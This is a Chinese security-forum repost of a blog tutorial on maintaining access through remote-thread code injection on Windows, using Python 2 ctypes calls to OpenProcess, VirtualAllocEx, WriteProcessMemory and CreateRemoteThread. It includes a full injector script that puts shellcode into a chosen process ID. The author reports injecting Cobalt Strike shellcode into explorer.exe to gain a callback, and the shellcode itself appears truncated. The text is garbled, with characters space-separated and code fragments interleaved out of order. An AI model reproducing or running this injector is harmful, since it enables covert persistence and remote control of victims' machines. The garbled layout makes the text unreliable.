搜索

[17995] 2021-04-29_维持访问-代码注入分析

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-04-29_维持访问-代码注入分析 维 持 访 问 - 代 码 注 入 分 析 原 创   X G 小 刚   X G 小 刚   2 0 2 1 - 0 4 - 2 9 收 录 于 话 题   # 权 限 维 持   , 1 6 个 一 位 苦 于 信 息 安 全 的 萌 新 小 白 帽 本 实 验 仅 用 于 信 息 防 御 教 学 ， 切 勿 用 于 它 用 途 公 众 号 ： X G 小 刚 代 码 注 入 代 码 注 入 代 码 注 入 代 码 注 入 是 进 程 注 入 的 一 种 。 利 用 远 程 线 程 注 入 方 式 ， 直 接 将 恶 意 代 码 注 入 到 进 程 ， 生 成 一 个 新 的 线 程 。 本 文 通 过 p y 2 . 7 使 用 c t y p e s 库 进 行 代 码 注 入 实 现 ， 解 读 一 下 最 基 础 的 远 程 线 程 注 入 s h e l l c o d e 的 原 理 。 函 数 了 解 函 数 了 解 主 要 需 要 了 解 四 个 A P I 函 数 O p e n P r o c e s s 函 数 可 以 返 回 已 有 进 程 对 象 的 句 柄 。 V i r t u a l A l l o c E X 函 数 用 于 分 配 内 存 ， 同 时 赋 予 对 内 存 地 址 的 访 问 权 限 。 W r i t e P r o c e s s M e m o r y 函 数 可 以 将 数 据 写 入 指 定 进 程 中 的 内 存 区 域 。 C r e a t e R e m o t e T h r e a d 函 数 将 创 建 一 个 新 线 程 ， 该 线 程 运 行 在 另 一 个 进 程 的 虚 拟 地 址 空 间 。 O p e n P r o c e s s 函 数 函 数 O p e n P r o c e s s 函 数 可 以 打 开 一 个 进 程 ， 并 返 回 进 程 对 象 的 句 柄 。 函 数 原 型 ： 对 应 参 数 h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / a p i / p r o c e s s t h r e a d s a p i / n f - p r o c e s s t h r e a d s a p i - o p e n p r o c e s s H A N D L E   O p e n P r o c e s s (     D W O R D   d w D e s i r e d A c c e s s ,     B O O L     b I n h e r i t H a n d l e ,     D W O R D   d w P r o c e s s I d ) ;
函 数 执 行 成 功 则 返 回 打 开 的 句 柄 ， 失 败 则 返 回 N u l l 。 使 用 此 函 数 打 开 进 程 需 要 赋 予 一 定 的 权 限 ， P R O C E S S A L L A C C E S S 给 予 进 程 所 有 可 能 允 许 的 权 限 它 的 值 是 h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / p r o c t h r e a d / p r o c e s s - s e c u r i t y - a n d - a c c e s s - r i g h t s P R O C E S S _ A L L _ A C C E S S   =   ( S T A N D A R D _ R I G H T S _ R E Q U I R E D   |   S Y N C H R O N I Z E   |   0 x F F F )
由 于 我 们 需 要 创 建 新 的 线 程 ， 所 以 不 需 要 继 承 此 句 柄 设 为 F a l s e 。 P I D 则 为 我 们 要 注 入 的 进 程 ， 可 以 通 过 t a s k l i s t 查 看 程 序 对 应 p i d 。 V i r t u a l A l l o c E x 函 数 函 数 V i r t u a l A l l o c E x 函 数 在 指 定 进 程 分 配 的 内 存 内 申 请 一 块 小 内 存 ， 用 来 存 放 我 们 是 s h e l l c o d e 函 数 原 型 ： 对 应 参 数 P R O C E S S _ A L L _ A C C E S S   =   ( 0 x 0 0 0 F 0 0 0 0   |   0 x 0 0 1 0 0 0 0 0   |   0 x F F F ) h _ p r o c e s s   =   c t y p e s . w i n d l l . k e r n e l 3 2 . O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S , F a l s e , p i d ) h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / a p i / m e m o r y a p i / n f - m e m o r y a p i - v i r t u a l a l l o c e x L P V O I D   V i r t u a l A l l o c E x (     H A N D L E   h P r o c e s s ,     L P V O I D   l p A d d r e s s ,     S I Z E _ T   d w S i z e ,     D W O R D     f l A l l o c a t i o n T y p e ,     D W O R D     f l P r o t e c t ) ;
函 数 执 行 成 功 则 返 回 内 存 地 址 ， 失 败 则 返 回 n u l l h _ p r o c e s s 则 是 我 们 已 经 打 开 的 进 程 句 柄 ， 后 面 和 常 用 的 内 存 申 请 函 数 V i r t u a l A l l o c 一 样 用 ， 申 请 一 块 可 读 可 写 的 s h e l l c o d e 长 度 的 内 存 。 W r i t e P r o c e s s M e m o r y 函 数 函 数 W r i t e P r o c e s s M e m o r y 函 数 是 用 来 修 改 进 程 中 内 存 的 ， 可 以 将 数 据 写 入 指 定 程 序 的 内 存 。 函 数 原 型 ： 对 应 参 数 a r g _ a d d r e s s   =   c t y p e s . w i n d l l . k e r n e l 3 2 . V i r t u a l A l l o c E x ( h _ p r o c e s s , 0 , l e n ( s h e l l c o d e ) , 0 x 3 0 0 0 , 0 x 4 0 ) h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / a p i / m e m o r y a p i / n f - m e m o r y a p i - w r i t e p r o c e s s m e m o r y B O O L   W r i t e P r o c e s s M e m o r y (     H A N D L E     h P r o c e s s ,     L P V O I D     l p B a s e A d d r e s s ,     L P C V O I D   l p B u f f e r ,     S I Z E _ T     n S i z e ,     S I Z E _ T     * l p N u m b e r O f B y t e s W r i t t e n ) ;
写 入 成 功 则 返 回 非 零 的 数 值 ， 失 败 则 返 回 0 然 后 就 是 在 打 开 的 h _ p r o c e s s 句 柄 申 请 的 a r g a d d r e s s 内 存 地 址 ， 将 我 们 的 s h e l l c o d e 写 进 去 ， 长 度 为 s h e l l c o d e 长 度 。 C r e a t e R e m o t e T h r e a d 函 数 函 数 C r e a t e R e m o t e T h r e a d 是 创 建 远 程 线 程 ， 可 以 在 指 定 的 进 程 的 虚 拟 地 址 空 间 中 新 建 一 个 线 程 。 这 是 个 远 程 线 程 注 入 最 关 键 的 函 数 ， 创 建 成 不 成 功 就 靠 它 了 。 函 数 原 型 ： 对 应 参 数 s h e l l c o d e   =   ( c t y p e s . c _ c h a r   *   l e n ( s h e l l c o d e ) ) . f r o m _ b u f f e r ( s h e l l c o d e ) c t y p e s . w i n d l l . k e r n e l 3 2 . W r i t e P r o c e s s M e m o r y ( h _ p r o c e s s , a r g _ a d d r e s s , s h e l l c o d e , l e n ( s h e l l c o d e ) , 0 ) h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / a p i / p r o c e s s t h r e a d s a p i / n f - p r o c e s s t h r e a d s a p i - c r e a t e r e m o t e t h r e a d H A N D L E   C r e a t e R e m o t e T h r e a d (     H A N D L E                                   h P r o c e s s ,     L P S E C U R I T Y _ A T T R I B U T E S     l p T h r e a d A t t r i b u t e s ,     S I Z E _ T                                   d w S t a c k S i z e ,     L P T H R E A D _ S T A R T _ R O U T I N E   l p S t a r t A d d r e s s ,     L P V O I D                                   l p P a r a m e t e r ,     D W O R D                                     d w C r e a t i o n F l a g s ,     L P D W O R D                                 l p T h r e a d I d ) ;
创 建 成 功 返 回 新 线 程 的 句 柄 ， 失 败 则 返 回 空 。 c t y p e s . w i n d l l . k e r n e l 3 2 . C r e a t e R e m o t e T h r e a d ( h _ p r o c e s s , N o n e , 0 , a r g _ a d d r e s s , N o n e , 0 , 0 )
h _ p r o c e s s 是 我 们 已 经 打 开 并 具 有 全 部 权 限 的 句 柄 ； 设 置 线 程 获 取 默 认 的 安 全 描 述 符   ； 设 置 新 线 程 的 堆 栈 使 用 默 认 大 小 ； a r g _ a d d r e s s 则 是 新 线 程 的 起 始 位 置 ， 设 置 为 我 们 申 请 的 内 存 地 址 ； 我 们 没 有 变 量 可 传 送 设 为 N o n e ； 设 置 线 程 创 建 后 立 即 执 行 ； 最 后 设 置 N u l l 不 返 回 线 程 标 识 符 。 C l o s e H a n d l e 函 数 函 数 在 使 用 O p e n P r o c e s s 函 数 时 ， 有 个 提 醒 ： 函 数 原 型 ： 为 了 以 防 万 一 ， 那 就 新 建 完 线 程 后 关 闭 我 们 打 开 的 句 柄 。 上 线 测 试 上 线 测 试 使 用 C S 生 成 6 4 位 p y _ s h e l l c o d e ， 注 入 程 序 测 试 的 e x p l o r e r ， p i d 为 2 4 0 0 源 码 如 下 B O O L   C l o s e H a n d l e (     H A N D L E   h O b j e c t ) ; c t y p e s . w i n d l l . k e r n e l 3 2 . C l o s e H a n d l e ( h _ p r o c e s s ) #   c o d e _ i n j e c t . p y #   p y t h o n 2   c o d e _ i n j e c t . p y   p i d i m p o r t   c t y p e s f r o m   c t y p e s . w i n t y p e s   i m p o r t   * i m p o r t   s y s d e f   i n j e c t ( p i d ) :         s h e l l c o d e   =   b " x f c x 4 8 x 8 3 x e 4 . . . "         P R O C E S S _ A L L _ A C C E S S   =   ( 0 x 0 0 0 F 0 0 0 0   |   0 x 0 0 1 0 0 0 0 0   |   0 x F F F )         h _ p r o c e s s   =   c t y p e s . w i n d l l . k e r n e l 3 2 . O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S ,   F a l s e ,   p i d )         i f   h _ p r o c e s s :                 s h e l l c o d e   =   b y t e a r r a y ( s h e l l c o d e )                 a r g _ a d d r e s s   =   c t y p e s . w i n d l l . k e r n e l 3 2 . V i r t u a l A l l o c E x ( h _ p r o c e s s , 0 , l e n ( s h e l l c o d e ) , 0 x 3 0 0 0 , 0 x 4 0 )                 s h e l l c o d e   =   ( c t y p e s . c _ c h a r   *   l e n ( s h e l l c o d e ) ) . f r o m _ b u f f e r ( s h e l l c o d e )                 c t y p e s . w i n d l l . k e r n e l 3 2 . W r i t e P r o c e s s M e m o r y ( h _ p r o c e s s ,   a r g _ a d d r e s s ,   s h e l l c o d e , l e n ( s h e l l c o d e ) ,   0 )                 i f   n o t   c t y p e s . w i n d l l . k e r n e l 3 2 . C r e a t e R e m o t e T h r e a d ( h _ p r o c e s s , N o n e , 0 , a r g _ a d d r e s s , N o n e , 0 , c t y p e s . b y r e f ( c t y p e s . c _ u l o n g ( 0 ) ) ) :                         p r i n t ( " c r e a t e   t h r e a d   f a l s e " )                         s y s . e x i t ( )         e l s e :                 p r i n t ( " o p e n   t h e   p r o c e s s   f a l s e " )
成 功 上 线 成 功 上 线 但 是 测 试 发 现 线 程 结 束 后 ， 被 注 入 的 进 程 会 一 起 结 束 。 再 研 究 研 究 吧 。 。 。                 p r i n t ( " o p e n   t h e   p r o c e s s   f a l s e " )                 s y s . e x i t ( )                     c t y p e s . w i n d l l . k e r n e l 3 2 . C l o s e H a n d l e ( h _ p r o c e s s )   i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         i n j e c t ( i n t ( s y s . a r g v [ 1 ] ) )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理